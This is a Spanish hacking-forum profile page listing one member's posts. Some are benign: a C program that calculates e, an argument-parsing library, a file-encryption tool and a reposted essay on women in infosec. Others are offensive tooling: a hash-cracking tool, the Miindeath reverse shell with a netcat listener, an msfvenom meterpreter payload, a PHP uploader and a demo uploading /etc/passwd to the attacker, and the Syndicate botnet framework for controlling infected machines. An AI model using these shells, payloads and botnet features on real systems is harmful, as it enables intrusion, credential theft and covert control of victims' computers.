This site uses cookies own and third. If you continue to browse consider to accept the use of cookies. OK More Info.

Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.

Topics - DtxdF

Pages: 1 2 [3] 4
41
Hacking / Erica - Es hora de romper cosas 3:) ...
« on: December 27, 2019, 10:16:23 am »
¿Qué es Erica?

Erica es una herramienta que te permitra crackear muchas familias de algoritmos con sus respectivas versiones. Entre los cuales se encuentran: MD5, SHA (1, 224, 256, 384, 512), SHA-3 (224, 256, 384, 512), shake (128, 256), blake2b & blake2s.

¿Cómo lo uso?

Usar Erica es sumamente sencillo, lo primero que debes hacer es descargarlo:

Code: (bash) You are not allowed to view links. Register or Login
git clone https://github.com/DtxdF/Erica.git
cd Erica

Sí usa Windows, es necesario que instale "colorama"; en el caso de los usuarios con sistema *nix, no es necesario.

Code: (bash) You are not allowed to view links. Register or Login
python3 -m pip install colorama
Una vez instalado para comenzar con el pie derecho pidamos ayuda con el parámetro "-h" o "--help":

Code: (bash) You are not allowed to view links. Register or Login
python3 erica.py --help


Ahora para crackear un Hash, que en mi caso será "9b536cba98ee59000fa4be6f09478ac389ed9c9d", ejecutamos el siguiente comando para identificar el hash que se utilizo (En caso de que no tengamos ni idea):

Code: (bash) You are not allowed to view links. Register or Login
hash-identifier


Ahora tenemos que introducir el hash para que la herramienta nos ayude un poco:



En donde estoy seleccionando lo más coincidente es que sea SHA-1, así que nos vamos con nuestra nueva herramienta para hacerle daño:

Code: (python) You are not allowed to view links. Register or Login
python3 erica.py -H 9b536cba98ee59000fa4be6f09478ac389ed9c9d -w passwords.txt -p 35 -a sha1
Explicación:

  • -H: En este parámetro va el Hash que vamos a crackear
  • -w: La lista de contraseñas a utilizar
  • -p: Los procesos en paralelo para acelerar el proceso
  • -a: El algoritmo a utilizar; en nuestro caso SHA-1

Presionamos ENTER y vemos como sucede la magia:



Vídeo de demostración:

You are not allowed to view links. Register or Login

Cómo ven es realmente fácil, pero ¿se imaginan que un atacante comprometa una base de datos y tenga un diccionario enorme?...

Repositorio: github.com/DtxdF/Erica

~ DtxdF

42
Hacking / Miindeath: Una shell inversa minimalista :)
« on: December 14, 2019, 03:02:03 pm »
Miindeath

- Miindeath (Siglas de MInImalist Death). Es una shell inversa escrita en Python ( 3 ). que trata de ser lo más simple posible para lograr comprometer una máquina.

Instalación

No requiere librerías externas

Code: (bash) You are not allowed to view links. Register or Login
git clone https://github.com/DtxdF/Miindeath.git
cd Miindeath

Modo de ejecución

Code: (bash) You are not allowed to view links. Register or Login
editor miindeath.py # Nos vamos a las lineas 54-77 y configuramos a nuestro gusto
Ejemplo:

Code: (python) You are not allowed to view links. Register or Login
...
class config(object):

    RHOST = '127.0.0.1'
    RPORT = 4444
    LIMIT = 0 # 0 Es infinito
    #timeout = 180 # 3 minutos
    # Los bufers de red
    RECV = 1024
    SEND = 1024
    HEADERS = {
           
        'User-Agent':'Hi!, My Name is DtxdF :)'
           
    }
   
    # Claves de los valores POST
    FILENAME = 'filename' # El nombre del archivo
    FILECONTENT = 'filecontent' # El contenido del archivo

    UNIT_SEP = '.AND.' # Cómo si fuera "bash" o una shell
                       # cualquiera, para ejecutar varios
                       # comandos internos.
    SLEEP = 15
    RECONNECT = True # Reconectar sí hay una desconexión, doh.
...

Es fácil deducir qué es cada cosa, pero para simplificar la explicación, sólo cambiemos "RHOST" y "RPORT" a los valores correspondientes.

Atacando:

Code: (bash) You are not allowed to view links. Register or Login
# Victima:
$ ./miindeath # (En caso que se haya compilado a un ejecutable) o python3 miindeath.py
...
# Atacante:
$ nc -lvvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 32974
(5857): [email protected]:/home/dtxdf/tmp$ shell whoami
root
...

Subiendo y Descargando archivos:

El atacante tiene que tener listo un servidor cualquiera para subir y bajar archivos.

En el caso de la bajada de archivos:


Code: (python) You are not allowed to view links. Register or Login
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

También podria usar Apache (o cualquier otro), pero para hacer una simple demostración ...

Para ser más malévolos, usemos Metasploit O:) ...


Code: (bash) You are not allowed to view links. Register or Login
msfvenom -p python/meterpreter/reverse_tcp LHOST=localhost LPORT=4445 -o script.py
No platform was selected, choosing Msf::Module::Platform::Python from the payload
No Arch selected, selecting Arch: python from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 446 bytes
Saved as: script.py

En el caso de la subida:

Creamos un simple uploader en PHP (uploader.php) y lo subimos a nuestro servidor con PHP instalado (Aunque podriamos hacer "php -S 0.0.0.0:8081")


Code: (php) You are not allowed to view links. Register or Login
<?php

if (isset(
$_POST['filename'])&&isset($_POST['filecontent'])) {

fwrite(fopen(basename($_POST['filename']), 'wb'), $_POST['filecontent']);

}

?>

En la configuración pueden cambiar los nombres de los parámetros POST

Ahora en la shell para descargar:


Code: (bash) You are not allowed to view links. Register or Login
(5857): [email protected]:/home/dtxdf/tmp$ download http://localhost:8080/script.py /tmp/payload.py
Guardado => /tmp/payload.py

Ahora sólo lo ejecutamos y tenemos una mejor shell con poderes.

Y por último, para subir:


Code: (bash) You are not allowed to view links. Register or Login
(5857): [email protected]:/home/dtxdf/tmp$ upload http://localhost:8081/uploader.php /etc/passwd
/etc/passwd, fue subido correctamente

:)

Notas:

Aunque sea una simple conexión entre sockets (TCP), la subida y bajada de archivos usa HTTP, simplemente porque es más sencillo para un atacante descargar/subir archivos de cualquier servidor público :)

Repositorio: github.com/DtxdF/Miindeath

~ DtxdF

43
C / C++ / Calcular el número E
« on: December 11, 2019, 12:28:50 pm »
¡Hola!. Estoy un poco aburrido y busqué la formula para calcular el número "E"; sí quieren ejecuten y compren algunas cotufas mientras miran cómo se genera  :D

Code: (c) You are not allowed to view links. Register or Login
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {

long double n=1;

while (1) {

printf("\033[2J\033[1f");
printf("e: %.52f", pow(1+1/n, n));
fflush(stdout);

n += 1.0;

sleep(0.1);

}

return EXIT_SUCCESS;

}

~ DtxdF

44
Off Topic / Tu granito de arena...
« on: December 08, 2019, 08:16:09 am »
Antes de continuar, no quiero que pienses que quiero causar una polémica, no quiero difundir odio, ni miedo, ni tristesa, nada de eso, al contrario, las palabras que hoy haré referencia pertenecen a Sheila A. Berta desde su mismo blog "You are not allowed to view links. Register or Login".

Lo que voy a hacer referencia es sobre un problema que lo sostienen las mujeres de este mundo y cómo ella misma me dijo que es excelente poner nuestro granito de arena, para ir mejorando poco a poco, espero que ustedes también lo hagan.

Ella y yo, estamos en total acuerdo en dos cosas. La primera es que para el entorno Informático es algo pesado o difícil para una mujer y la segunda es que ha estado mejorando con el tiempo todo eso, pero muy poco a poco.

Ahora sí, continuemos...



 En la nota de reset que escribí hace un tiempo, les conté que hace 12 años que me dedico a la seguridad informática. En ese entonces, cuando empecé, no había carreras, diplomaturas ni cursos sobre este tema (al menos no accesibles para mí), por lo que mi forma de aprender fue exclusivamente de manera autodidacta leyendo en foros de hacking a aquellas personas que afortunadamente compartían sus conocimientos con los demás.

Para acceder a estos foros, era necesario crearse un usuario, todos teníamos nuestro nickname (y de hecho, varios de los colegas con los cuales mantengo amistad hasta el día de hoy los conocí inicialmente por su apodo en los foros "underground" y no por su nombre real). Mi primer nickname fue femenino, es decir, que me identificaba como mujer; lo mantuve por 2 años hasta que me cansé de las críticas y pasé a registrarme en los foros con un nuevo usuario, utilizando un apodo masculino. ¿Qué críticas recibía? La mayoría me atacaba diciendo que en realidad no era mujer (es que no había mujeres en aquellos foros) y me decían que seguramente yo era un hombre utilizando un apodo de mujer para atraer a otros hombres y así supuestamente lograr que me compartan conocimientos y exploits/herramientas privadas; por ello recibía muchos insultos, entre otras cosas. Hoy lo redacto y me río, pero en aquel entonces fue bastante abrumador, tan así que como dije, desaparecí mi usuario real y me creé otro identificándome como hombre y así pude estar tranquila durante varios años.

En algún punto que tuviera que ser así me afectó un poco, porque me obligó a un aislamiento que no era bueno, en el sentido de que por muchos años me perdí la posibilidad de interactuar en el entorno real con otros colegas (por ejemplo en eventos) y aprender de ellos. Yo sabía de la existencia de las conferencias de seguridad en mi ciudad, pero no iba, sabía que si iba estaría sola y pensaba en que quizás recibiría las mismas agresiones que recibía virtualmente cuando me identificaba como mujer, así que huía a la participación. 7 años después apareció alguien en mi camino (o yo en el de esa persona, no lo sé) y me insistió en que fuera, que iba a estar ahí para cuidarme y no pasaría nada. Finalmente fuí y apartir de ahí comencé a incluirme y participar en las conferencias y meetups de infosec de mi ciudad, y de otros países también :)

Hoy todos me conocen por mi nombre real, saben quien soy y -dejando de lado algún que otro caso aislado- recibo un gran respeto y cariño por parte de toda la comunidad. Sin embargo hay algo que persiste en el tiempo, y es que seguimos siendo muy pocas mujeres dedicadas a seguridad informática; aunque por supuesto hay muchas más que hace 12 años atrás, se sigue notando la ausencia en las empresas, en los eventos, en los cursos, etc. La ausencia de mujeres se percibe en todo IT, aunque en un área tan específica como infosec se siente bastante más. Varias veces leí que las mujeres en seguridad informática son menos del 10% del total de especialistas en todo el mundo, pero bueno, no vamos a hablar de las deprimentes estadísticas ahora, no hace falta, creo que todos somos conscientes de la falta de mujeres en estas áreas.

Para combatir esto e incrementar la participación de mujeres en IT, se han armado muchísimas iniciativas en todas las diferentes áreas, principalmente en programación y sysadmin. Las inciativas se enfocan en incentivar, capacitar e insertar a las mujeres en el mercado laboral. Son las tres cosas fundamentales: para que haya más mujeres en IT hay que incentivar a aquellas que puedan tener interés en desarrollarse en alguna de estas áreas; acto seguido hay que ayudarlas a capacitarse, muchas veces esto viene en forma de becas o cursos gratuitos para ellas impartidos por diferentes organizaciones; por último abrir los caminos para que logren insertarse en el mercado laboral y seguir progresando.

Después de leer la historia, mi historia, con la que abrí esta nota, me gustaría que todas esas iniciativas para incluir a más mujeres en IT te parezcan tan geniales como me parecen a mí. Pero sé que no es así, y me duele ver como muchas de todas estas iniciativas son fuertemente criticadas por un gran porcentaje de hombres (e incluso por algunas mujeres también).

Las peores críticas recaen sobre las capacitaciones exclusivas para mujeres, sobre las facilidades para acceder al conocimiento. He leído infinidad de comentarios diciendo "No me dejan participar de la capacitación por ser hombre, me están discriminando", "¿Se imaginan si se hiciera un curso exclusivo para hombres? Sería un bochorno, ¿Por qué para ellas si lo hacen y dicen que está bien?", "Si quieren que haya igualdad no debería ser así" y un largo etcétera.

Sin lugar a dudas, si en IT existiera hoy en día la paridad de género y en todas las áreas hubiera un 50% de hombres y 50% de mujeres, las actividades exclusivas para un género u otro estarían discriminando al sexo opuesto. Pero esto no es así, entonces debemos ubicarnos en el contexto que corresponde, estamos hablando de una minoría que requiere ser ayudada.

En IT, y especialmente en seguridad informática, las mujeres son una minoría, esto significa: "Parte de un conjunto o grupo que representa el porcentaje menor o más pequeño de todo el conjunto o grupo." Si el caso fuera al revés, y la minoría en IT fueran los hombres, sería necesario aplicar todas las mismas iniciativas para ellos: incentivarlos, capacitarlos e insertarlos en el mercado laboral. Si esto fuera así y se realizaran capacitaciones exclusivas para mujeres -siendo los hombres la minoría- sería absurdamente discriminador, y en lugar de incentivarlos a incluirse en el área los estaríamos alejando cada vez más. ¿Se entiende la diferencia? Una minoría necesita ser ayudada por toda la comunidad, una de las mejores formas de lograrlo es brindándole facilidad de acceso al conocimiento. En el caso de las mujeres, el hecho de que existan capacitaciones exclusivas para ellas resulta de enorme ayuda ¿Por qué?

Por varios motivos, siendo hombre seguramente habrás notado en todos los cursos que asististe, que casi no tenías compañeras mujeres ¿Verdad? (y si nunca has asistido, puedes buscar fotos de cualquier curso presencial de infosec donde verás 1, 2 ó ninguna mujer). Sin embargo, cuando se ofrece una capacitación exclusiva para ellas, el cupo se llena, a veces rebalsa (caso BlackHoodie, con más de 700 alumnas en una capacitación de reversing). ¿Te preguntaste por qué ellas no van a capacitaciones mixtas pero si a capacitaciones exclusivas? Regresemos un momento a mi historia, hago cita de esta parte:

"por muchos años me perdí la posibilidad de interactuar en el entorno real con otros colegas (por ejemplo en eventos) y aprender de ellos. Yo sabía de la existencia de las conferencias de seguridad en mi ciudad, pero no iba, sabía que si iba estaría sola y pensaba en que quizás recibiría las mismas agresiones que recibía virtualmente cuando me identificaba como mujer, así que huía a la participación."

Muchas veces es la incomodidad de sentirse sola en el aula, lo que evita que las mujeres se inscriban. Pero no solo eso, sino también contemplar la posibilidad de recibir una burla, agresión o crítica, como por ejemplo ocurrió la semana pasada en la Universidad de Canterbury, cuando el profesor Ray Hunt se dirigió a la única mujer del aula y le dijo que el ataque de "Man-In-The-Middle" se llama "Man..." por que las mujeres no pueden hackear. Luego la chica se puso a llorar, y no por la mera frase en sí, es que va más allá, es la angustia de percibir el rechazo después del enorme esfuerzo de animarse a estar allí aunque estés sola.

El sentir la propia desigualdad hace que muy pocas mujeres se animen a participar de capacitaciones mixtas. En el trabajo muchas mujeres sienten que deben demostrar más que los hombres para ser respetadas, en los cursos ocurre lo mismo, muchas mujeres son tratadas como que "entienden menos" que el resto de los alumnos hombres, y ante eso el temor a equivocarse en una práctica y ser doblemente criticada se vuelve terrible.

Los motivos son innumerables, por eso es comprensible que los cursos exclusivos se llenen de mujeres mientras que en los mixtos muchas veces ni siquiera hay. Es triste que sea así pero esto va a ayudar a que de a poco dicha situación cambie. Al capacitar a las mujeres no solo les brindamos conocimiento sino también confianza en si mismas, la confianza les permitirá luego afrontar los desafíos de incluirse en la comunidad y de participar de actividades y capacitaciones mixtas aún cuando todavía sigan siendo una minoría.

Esperamos que finalmente se pueda lograr la paridad de género en todas las áreas de IT y estas iniciativas de inclusión puedan quizás dejar de ser necesarias, pero mientras tanto debemos apoyarlas.

Ojalá con esta nota haya podido ayudar a comprender a al menos una persona, por qué existen hoy en día actividades exclusivas para mujeres en IT, por qué son necesarias, por qué no están mal cómo muchos critican y por qué hay que brindarles soporte.

Gracias por leer!
Sheila A. Berta


Fuente: You are not allowed to view links. Register or Login

~ DtxdF

45
Combo



Combo es una pequeña herramienta para cifrar/descifrar archivos usando el algoritmo de Shalom

Una simple instalación

Code: (bash) You are not allowed to view links. Register or Login
git clone https://github.com/DtxdF/combo
cd combo
./combo.py -h

Ejemplos

Para ver la ayuda

Code: (bash) You are not allowed to view links. Register or Login
./combo.py -h

  Opcionales:
  ----------

    -h, --help              Mostrar ayuda y sale

  Parámetros principales:
  ----------------------

    -M, --method            Cifrar o Descifrar los datos del archivo. Usé "encrypt" para cifrar y "decrypt" para descifrar
    -f, --file              Archivo objetivo

  Seguridad:
  ---------

    -increment              Incrementar la clave con un byte; se necesita el rango, puede seguir la sintaxis: <byte>,<limite>. Pre-determinado: ('\x00', 500)
    -random                 Usar el algoritmo de shuffle para ordernar al azar el mapa de caracteres
    -index                  El indíce para mover parte del mapa de caracteres según la especificación de Shalom. Pre-determinado: -6
    -rest                   El resto de diferencia según la especificación de Shalom. Pre-determinado: 6

Para cifrar un archivo

Creó el archivo a cifrar:


Code: (bash) You are not allowed to view links. Register or Login
cat > test.txt
Hello Friend.

Lo cifro:

Code: (bash) You are not allowed to view links. Register or Login
./combo.py -f test.txt -M encrypt
Vemos el contenido del archivo:

Code: (bash) You are not allowed to view links. Register or Login
cat test.txt

- [-1466, 1511]
- [-2481, 2526]
- [1982, -1872]
- [-1619, 1736]
- [-3082, 3204]
- [-3941, 4050]
- [2195, -2069]
- [-3932, 4065]
- [2305, -2261]
- [4237, -4101]
- [-1892, 1914]
- [3172, -3128]
- [-3301, 3345]
- [2990, -2893]
- [-3043, 3103]
- [-4107, 4219]
- [-4281, 4380]
- [2056, -1945]
- [-4029, 4091]
- [-3224, 3310]
- [-1834, 1918]
- [2978, -2887]
- [-1687, 1770]
- [-4381, 4493]
- [613, -518]
- [1556, -1446]
- [2936, -2817]
- [-4491, 4615]
- [294, -163]
- [-1449, 1548]
- [767, -647]
- [-761, 872]
- [-3199, 3260]
- [3295, -3186]
- [-1008, 1068]
- [4597, -4465]
- [3957, -3835]
- [4819, -4709]
- [845, -711]
- [-2478, 2538]
- [-2874, 2947]
- [-2405, 2427]

Tu archivo puede tener un contenido diferente

Ahora para descifrarlo:


Code: (bash) You are not allowed to view links. Register or Login
./combo.py -f test.txt -M decrypt
cat test.txt
Hello Friend.

Puede tardar un poco sí es un archivo de gran tamaño

~ DtxdF

46
Python / argprogrammer: Parsear argumentos con esta pequeña librería
« on: December 02, 2019, 04:23:38 am »
argprogrammer

Argprogrammer es una pequeña libreria para el control de los argumentos proporcionados por el usuario.

Instalación

Argprogrammer es fácil de instalar y no requiere de librerias externas

Code: (bash) You are not allowed to view links. Register or Login
git clone https://github.com/DtxdF/argprogrammer.git
cd argprogrammer
python3 # o python

Compatibilidad con Python2.x y Python3 :'D

A argprogrammer no le importa sí estás usando la versión 2 o 3, puedes usar todas sus funciones sin problemas

Tutorial

Te muestro un pequeño tutorial para crear nuestra primera aplicación de forma fácil y sencilla

Code: (python) You are not allowed to view links. Register or Login
import argprogrammer

group_optionals = 'opcionales'

parser = argprogrammer.Parser()

parser.add(['-h', '--help'], 'help', 'Mostrar ayuda y sale', group=group_optionals)

parser.add(['-t', '--text'], 'text', 'El texto a mostrar', require=True)

args = parser.parse_args()

text = args.text

print('Texto: %s' % (text))

Sí ejecutamos en la terminal: "python o python3 <script>.py -h o --help", veremos ésto:

Code: (text) You are not allowed to view links. Register or Login
  Parámetros principales:
  -----------------------

    -t, --text          El texto a mostrar

  opcionales:
  ----------

    -h, --help          Mostrar ayuda y sale

¿Eso es todo?

NO, además podemos especificar el tipo de dato y si lo requerimos o no.

Code: (python) You are not allowed to view links. Register or Login
import argprogrammer
import requests

group_optionals = 'opcionales'

parser = argprogrammer.Parser()

# Opcionales

parser.add(['-h', '--help'], 'help', 'Mostrar ayuda y sale', group=group_optionals)
parser.add(['-v', '--verbose'], 'verbose', 'Activar modo verboso', action=True, type=bool, group=group_optionals)
parser.add(['-H', '--headers'], 'headers', 'Cambiar los encabezados predeterminados', type=dict, group=group_optionals)

# Requeridos

parser.add(['-u', '--url'], 'url', 'Dirección URL', require=True)

args = parser.parse_args()

url = args.url
verbose = args.verbose
headers = args.headers

if (verbose):

print('Haciendo una petición a: {}'.format(url))

print('Datos obtenidos: {}'.format(requests.get(url, headers=headers, verify=False).text))

En la terminal podrias ejecutar la siguiente sentencia para ver algunos de tus datos cómo el "Agente de Usuaro":

Code: (bash) You are not allowed to view links. Register or Login
python3 <script>.py -u https://www.whatsmyua.info/api/v1/ua -v -H "User-Agent=Hello Friend :D"
Te lo muestra en formato: JSON

Podemos hasta incluso hacer que el usuario ingrese sólo algunos datos en un parámetro:

Code: (python) You are not allowed to view links. Register or Login
import argprogrammer

group_optionals = 'opcionales'

parser = argprogrammer.Parser()

# Opcionales

parser.add(['-h', '--help'], 'help', 'Mostrar ayuda y sale', group=group_optionals)

# Requeridos

parser.add(['-fruta'], 'fruta', 'Que te gusta comer entre: manzana, durazno, patila', uniqval=['manzana', 'durazno', 'patilla'], require=True)

args = parser.parse_args()

fruta = args.fruta

print('Te gusta comer: {}'.format(fruta))

Code: (bash) You are not allowed to view links. Register or Login
python3 <script>.py -fruta patilla
Te gusta comer: patilla

En caso de que el usuario no ingrese un valor correcto se muestra lo siguiente:

Code: (bash) You are not allowed to view links. Register or Login
python3 <script>.py -fruta banana
<script>: El valor "banana" no está permitido debido que no es igual a este/estos valor/es "manzana, durazno, patilla"

Se puede personalizar ese mensaje, tranquila/o

Tipos de datos

Argprogrammer acepta algunos tipos de datos, cómo:

  • tuple
  • list
  • str
  • int
  • range
  • dict
  • hex
  • float
  • hex
  • oct

Tal vez pienses, "¿Algunas cosas que mostraste no son funciones?", Sí, en Python, en argprogrammer No.

Objetivo

Es sólo una pequeña libreria que codifique para un proyecto personal y que comparto con la comunidad, no creo que se compare con "argparse" pero puede que sirva.

~ DtxdF

47
Hacking / Syndicate Project: ¿Me compartes tu Botnet? - Parte #1
« on: November 28, 2019, 01:49:48 am »
Syndicate Project



Fuente: onodo.org/visualizations/98748/

Syndicate Project es un proyecto que te simplifica la creación de botnet's, totalmente escrito en Python (3); así es, puedes crear cientos o miles.

Plataformas:

  • Lamentablemente sólo la probé en Kali linux, pero puede experimentar en otras plataformas.
  • Recomiendo que si usted va a probar Syndicate en Windows, use Cygwin o WSL, aunque no le garantizo nada.
  • En Android técnicamente debería funcionar con Userland, aunque Tmux no es mala elección.

Instalación:

Primero clonamos el repositorio:

Code: (bash) You are not allowed to view links. Register or Login
git clone https://github.com/DtxdF/Syndicate
cd Syndicate

Y luego instalamos los...

Requerimientos:

Puede optar por una fácil instalación con PIP, pero hay algunos inconvenientes que dependen de usted

En primer lugar, lo que si es necesario ejecutar es You are not allowed to view links. Register or Login:

Code: (bash) You are not allowed to view links. Register or Login
python3 -m pip install -r requirements/requirements.txt
En el archivo podemos encontrar:

Code: (text) You are not allowed to view links. Register or Login
PySocks==1.7.1
pycryptodome==3.9.4
PyYAML==5.1.2
pager==3.3
requests==2.22.0
urllib3==1.25.7
certifi==2019.9.11
chardet==3.0.4
idna==2.8
pyperclip==1.7.0

Estos son los requerimientos para que funcione lo más principal de Syndicate, mientras que para los complementos se tendría que seguir los siguientes pasos, no obstante no es necesario instalar para las funcionalidades anteriormente mencionadas, esto sirve para aumentar el poder...

Code: (bash) You are not allowed to view links. Register or Login
python3 -m pip install -r requirements/requirements.complements.txt
En el archivo podemos encontrar:

Code: (text) You are not allowed to view links. Register or Login
requests==2.22.0
pynput==1.4.5
six==1.13.0
python-xlib==0.25
pygame==1.9.6
mss==4.0.3

Un último requerimiento para los complementos predeterminados sería "PyAudio", pero esto requiere un poco más de su colaboración:

En el caso de Windows:

Seleccioné la versión correspondiente: You are not allowed to view links. Register or Login

En mi caso es: PyAudio‑0.2.11‑cp37‑cp37m‑win32.whl

Mientras que en Linux:


Code: (bash) You are not allowed to view links. Register or Login
sudo apt-get install libasound-dev portaudio19-dev libportaudio2 libportaudiocpp0
sudo apt-get install ffmpeg
sudo pip install PyAudio==0.2.11

Usted se estará preguntado: ¿Windows?, ya mencionaste que sólo funciona en Linux, Claro, estos requerimientos son para los complementos dependiendo del SO a atacar.

Una vez hecha la instalación, vamos con lo bueno...

Importante:

Antes de continuar quiero aclarar unas cosas...

En Syndicate Project prefiero tener sinonimos para algunas cosas:

  • Evie: El servidor root; centro de comando y control; servidor inicial o nodo inicial
  • Rook: El bot cliente
  • Jacob: El administrador que mantiene al Rook
  • Administrador del servidor: Es el que se encarga de crear, asignar privilegios, configurar y mucho más, para un correcto funcionamiento

Caracteristicas:

Tratare de englobar todas las caracteristicas posibles de Syndicate, espero no me falte nada :)...

  • Mutiples conexiones a la vez
  • Cifrado hibrido en las conexiones. Usando AES256 y RSA a nuestro favor podremos cifrar nuestras comunicaciones oficiales entre Evie's (Servidor), Jacob's (Ciente-Administrador de los Rook's) y Rook's (Cliente-bot).
  • Cifrado simétrico en las bases de datos, tanto de Evie, como la de los rook's. Aunque en los accesos públicos también se usá el mismo esquema.
  • Red punto a punto. La red de los Rook's, no es igual a la de los Evie's, aunque puede haber comunicación entre ellas.
  • Multi-usuario. El administrador del servidor se encarga de crear tanto usuarios Jacob's cómo Rook's con sus respectivos privilegios.
  • Compartir Rook's (Bot's) entre Evie's (Servidores). -Cómo una red social :D-
  • Comunicación por nodos o lo que quiere decir, que creando una red entre Evie's puede hacer pasar cada paquete a una dirección o podría decirse nodos intermedios hasta llegar a un punto final o nodo final (Que vendría siendo otro Evie). La red está diseñada para que no se pueda saber que dirección envío qué y dónde, exceptuando algunas cosas que ya explicaré después y además se tiene que configurar toda la red manualmente; eso brinda más seguridad.
  • Uso de proxies para mayor privacidad (Tanto en los Evie's, Rook's y Jacob's).
  • Sistema antí-fuerza bruta. Es relativo. Relativo según las configuraciones que ejerce el administrador y el mismo usuario. porque el administrdor decide cómo Evie, va a bloquear a un usuario, cuándo y porqué. Dejaré la explicación más adelante.
  • Los complementos se pueden actualizar de forma transparente o lo que quiere decir, que sí tenemos una máquina infectada podremos cambiar el código desde el servidor y ejecutarlo en la máquina correspondiente.
  • Además del cifrado que viene incorporado, podemos agregarle una capa más con https
  • Puedes crear tu propia forma de comunicarte, por lo tanto tiene dinamismo.
  • Los complementos le temen al disco duro, prefieren quedarse en memoria.
  • En el lado de los rook's podemos hacer que el router de la victima abra un puerto con UPnP (Sí está disponible)

Nota: Los privilegios sólo son válidos para los Jacob's

Tipos de configuración

  • Configuración Dinámica: Este tipo de configuración puede cambiar en plena ejecución de Evie dependiendo de lo que haga el administrador del servidor.
  • Configuración Estática: También se puede llamar configuración global, porque en la mayoría de utilidades, herramientas y todo lo que tenga que ver con Syndicate la utiliza; además esta no cambia en plena ejecucion.

Tipos de usuario

En Syndicate Project trato de implementar diferencias entre usuarios para simplificar las explicaciones; en el proyecto se puede encontrar cuatro tipos de usuario:

  • Administrador del servidor: El administrador del servidor es una pieza obligatoria para armar el tablero. Éste se encarga de crear, configurar, manejar y mucho más, de lo que tenga que ver con el funcionamiento interno de Syndicate.
  • Jacob: Él es el cliente-administrador de los rook's. Jacob podrá controlar tantos rook's cómo el Administrador del servidor desee.
  • Rook: El cliente-bot que se encarga de hacer lo que le pida Jacob
  • Public: Yo no diría que es un usuario en sí, se podría decir que es un cliente que quiere usar nuestros servicios públicos. Entre los cuales están:

    • getPubKey: Obtener la Clave Pública de Evie; Puede tener muchos fines esta operación, pero la más importante es cuando compartirmos un rook.
    • saveData: Guarda los datos de perfil del rook
    • resend: Re-envía datos a otro nodo, tanto un nodo final como podría ser un nodo intermedio
    • sendSOS: Comunicación estilo correo electrónico entre Evie's (Incluso envío de archivos)

Nota: Los servicios públicos se pueden bloquear desde el archivo de configuración dinámico

Aclaraciones:

Tengo que explicar algunas cosas que iré mencionando poco a poco a lo largo de este documento:

  • Redirector: Es un Rook que pasa hacer un servidor (No un Evie) dentro de la máquina infectada; consiste en crear un servidor capaz de recibir datos, almacenarlos en una base de datos cifrada dentro de la misma máquina victima, para que luego el administrador del servidor, pueda conectarse, descargar los datos y simular ser Evie, con el único fín de obtener un resultado y enviarselo a un rook de forma transparante o como si no fuera sucedido nada.

    El redirector es buena opción, cuando deseas crear un "Backup" dentro de las máquinas infectadas ¿Por qué?, ¿Te imaginas que tu servidor central cayera? y luego cuando lo vuelvas a levantar ya es muy tarde, no tienes como recuperar la perdida de datos; hay es cuando entra redirector al rescate. Claro que necesitas abrir un puerto en el corta fuegos de la victima. Syndicate se encarga de crear la conexión, tú te encargas de todo lo demás.
  • Hash dinámico: En syndicate se usa un Hash dinámico, para hacer todo lo posble para evitar un ataque de fuerza bruta o por diccionario, usando iteraciones, Número de seguridad, Número de disminución y Caracteres de seguridad; todo esto tiene que ver con el algoritmo utilizado, pero haciendo una aclaratoria:

    • Iteraciones: Las iteraciones son el número de veces que se repite el proceso.
    • Número de seguridad: El número de seguridad se multiplica primero por el mismo y el resultado se usa para delimitar la ofuscación de caracteres de seguridad y luego en la siguiente iteración (Si es que la hay) disminuye usando el número de disminución.
    • Número de disminución: El número de disminución se encarga de disminuir el número de seguridad por cada segunda iteración.
    • Caracteres se seguridad: Los caracteres de seguridad se codifican a base64 y se "parten" y ofuscan usando el número de seguridad y disminución, para luego sumarlos con el resultado verdadero, que quiere decir, el hash.

    Nota: El hash usa la siguiente función: sha256( sha512( string ).digest() ).hexdigest()
  • Token de Acceso: Usado para verificar que tenga acceso público al sistema y cifrar los datos, posteriormente se usaría algún servicio antes mencionado.
  • Clave secreta: La clave secreta cifra algunos datos (Cómo la dirección URL de los nodos) antes de usar "resend" o un reenvio de paquetes en una red, porque que si llega a hacer interceptada, no se pueda "leer" esos datos, por eso su nombre, ésta sólo se debe compartir con las personas de confianza, igual que pasa con el token de acceso.
  • Clave única: La clave única es una clave generada aleatoriamente en la creación de un nuevo Jacob, es importante darsela al administrador correspondiente, porque gracias a ella puede acceder.

    La clave única cada vez que inicie sesión, cambiará, eso es para mantener aún más seguro la estructura.
  • You are not allowed to view links. Register or Login y You are not allowed to view links. Register or Login: Quiero aclarar, a pesar de que la aplicación You are not allowed to view links. Register or Login es la que interectua con el servidor, no es más que una simple herramienta de pruebas, el conejo debajo del sombrero enrealidad es You are not allowed to view links. Register or Login; mientras que para controlar a los rook's sería You are not allowed to view links. Register or Login en este caso es You are not allowed to view links. Register or Login

    Hablare de ésto, en otra sección.

Notas:

  • Tú, como administrador del servidor te debes encargar de repartir a personas de confianza el token de acceso, claro sí es qué desean usar los servicios públicos. No es aplicable si es un Jacob y tiene el permiso getToken, porque la puede obtener sin necesidad de perdirla.
  • El token de acceso se tiene que usar mayormente para Compatir un rook o usar resend.
  • En el caso de usar resend, tiene que usar además del token de acceso, la clave secreta.
  • Prefiero que usted usé You are not allowed to view links. Register or Login y se comunique con el Evie que desee, para que tenga más seguridad en sus datos y sin limitaciones por parte de servidores externos. Aclaro ésto, porque así es la mejor manera de enviar claves secretas de forma segura. Hay otras alternativas, pero es bueno que uno mismo sea el propio servicio y no depender de otros.
  • Tenga absoluto cuidado con los números y caracteres de seguridad, pueden volver el proceso más lento, pero eso no es tan malo, porque si un atacante quiere hacer fuerza bruta, tiene que esperar a que el servidor genere el hash y luego verificar si es correcto o no. ¿Una maravilla no? :')
  • Sí quieres saber más acerca del algoritmo, puedes hacerlo You are not allowed to view links. Register or Login

Funcionamiento de la Red:

Algunas veces es mejor dejar una simulación en vez de palabras, por lo tanto You are not allowed to view links. Register or Login, podrá encontrar el cómo sería la red con todas las caracteristicas y You are not allowed to view links. Register or Login el cómo sería cuando Jacob envía datos a través de varios nodos en diferentes países.

Nota: Aunque en esta demostración no explico como es el proceso en que se usan los datos encriptados, en la practica si pasa éso.

